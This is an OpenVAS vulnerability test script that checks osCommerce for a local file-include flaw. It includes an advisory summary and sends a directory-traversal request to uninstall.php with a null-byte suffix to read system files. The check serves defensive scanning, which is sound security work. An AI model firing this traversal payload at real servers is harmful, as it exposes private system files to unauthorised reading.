osCommerce Local File Include and HTML Injection Vulnerabilities

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_oscommerce_39820.nasl 7577 2017-10-26 10:41:56Z cfischer $
#
# osCommerce Local File Include and HTML Injection Vulnerabilities
#
# Authors:
# Michael Meyer <[email protected]>
#
# Copyright:
# Copyright (c) 2010 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_summary = "osCommerce is prone to a local file-include vulnerability and an HTML-
injection vulnerability because it fails to properly sanitize user-
supplied input.

An attacker can exploit the local file-include vulnerability using directory-
traversal strings to execute local files within the context of the
webserver process.

The attacker may leverage the HTML-injection issue to execute
arbitrary HTML and script code in the context of the affected browser.
This may let the attacker steal cookie-based authentication
credentials or control how the site is rendered to the user.

osCommerce 3.0a5 is affected; other versions may also be vulnerable.";


if (description)
{
 script_id(100616);
 script_version("$Revision: 7577 $");
 script_tag(name:"last_modification", value:"$Date: 2017-10-26 12:41:56 +0200 (Thu, 26 Oct 2017) $");
 script_tag(name:"creation_date", value:"2010-05-04 12:32:13 +0200 (Tue, 04 May 2010)");
 script_bugtraq_id(39820);
 script_tag(name:"cvss_base", value:"5.0");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");

 script_name("osCommerce Local File Include and HTML Injection Vulnerabilities");

 script_xref(name : "URL" , value : "http://www.securityfocus.com/bid/39820");
 script_xref(name : "URL" , value : "http://www.oscommerce.com");
 script_xref(name : "URL" , value : "http://ictsec.wordpress.com/exploits/oscommerce-v3-0a5-multiple-vulnerabilities/");

 script_tag(name:"qod_type", value:"remote_vul");
 script_category(ACT_ATTACK);
 script_family("Web application abuses");
 script_copyright("This script is Copyright (C) 2010 Greenbone Networks GmbH");
 script_dependencies("oscommerce_detect.nasl", "os_detection.nasl");
 script_require_ports("Services/www", 80);
 script_mandatory_keys("Software/osCommerce");
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

include("misc_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("version_func.inc");
include("host_details.inc");

CPE = 'cpe:/a:oscommerce:oscommerce';

if( ! port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );

files = traversal_files();

foreach file (keys(files)) {

  url =  string(dir,"/admin/includes/applications/services/pages/uninstall.php?module=../../../../../../../../",files[file],"%00"); 

  if(http_vuln_check(port:port, url:url,pattern:file)) {
    report = report_vuln_url( port:port, url:url ); 
    security_message(port:port, data:report);
    exit(0);

  }
}

exit(0);